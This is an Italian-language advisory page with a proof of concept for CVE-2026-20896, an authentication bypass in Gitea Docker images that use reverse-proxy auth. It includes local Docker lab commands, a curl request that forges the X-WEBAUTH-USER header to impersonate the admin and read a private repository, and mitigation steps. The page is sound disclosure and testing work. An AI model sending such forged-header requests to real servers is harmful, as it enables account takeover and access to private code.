Torna agli aggiornamenti
UpdatedAug 7, 2026

CVE-2026-20896 — Updated!

Gitea Docker Image Authentication Bypass

Condividi

CVE-2026-20896: PoC per il Bypass dell'Autenticazione nell'Immagine Docker di Gitea

[!WARNING] Utilizza questo PoC solo in un laboratorio locale o contro un sistema che sei esplicitamente autorizzato a testare.

https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b

Panoramica

CVE-2026-20896 è un bypass dell'autenticazione nelle immagini Docker ufficiali di Gitea interessate. Quando l'autenticazione tramite reverse-proxy è abilitata, l'impostazione REVERSE_PROXY_TRUSTED_PROXIES = * generata dall'immagine consente a un client che può raggiungere il backend Gitea di impersonare un utente esistente tramite l'header X-WEBAUTH-USER.

Il laboratorio crea un amministratore chiamato gitea-admin con una password casuale e memorizza CVE-2026-20896_AUTH_BYPASS_CONFIRMED nel repository privato gitea-admin/private-proof. La lettura di quel file senza conoscere la password casuale dell'amministratore dimostra il bypass.

Versioni Interessate

CategoriaVersione
VulnerabileImmagini Docker ufficiali gitea/gitea ≤ 1.26.2
Prima patch1.26.3
Consigliata1.26.4 o successiva

La configurazione vulnerabile richiede che l'autenticazione tramite reverse-proxy sia abilitata e che il backend Gitea sia direttamente raggiungibile, oppure che un proxy a monte preservi l'header di identità fornito dall'attaccante. Un container reverse-proxy non è necessario per questa riproduzione locale.

Ambiente

# build
docker build -t cve-2026-20896-gitea-vuln .

# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln

Attendi alcuni secondi affinché Gitea e il repository di prova privato vengano inizializzati.

PoC

cURL

curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt

Lo sfruttamento riuscito restituisce CVE-2026-20896_AUTH_BYPASS_CONFIRMED.

Python

python poc.py http://127.0.0.1:3000

Lo script confronta le richieste non autenticate, non amministrative e amministrative contraffatte e stampa VULNERABLE quando il bypass dell'autorizzazione viene confermato. Richiede Python 3.10 o successivo e utilizza solo la libreria standard.

Impatto

  • Impersonificazione di utenti Gitea noti o prevedibili
  • Accesso non autorizzato a repository privati e risorse utente
  • Azioni amministrative quando viene impersonificato un account amministratore

Mitigazione

  • Aggiorna a Gitea 1.26.3 o successivo; è consigliata la versione 1.26.4 o successiva.
  • Limita REVERSE_PROXY_TRUSTED_PROXIES agli indirizzi proxy attendibili.
  • Impedisci l'accesso diretto al backend Gitea e sovrascrivi gli header di identità forniti esternamente.
  • Disabilita l'autenticazione tramite reverse-proxy quando non è necessaria.

Pulizia

docker stop cve-2026-20896-gitea-vuln

Riferimenti

Categorie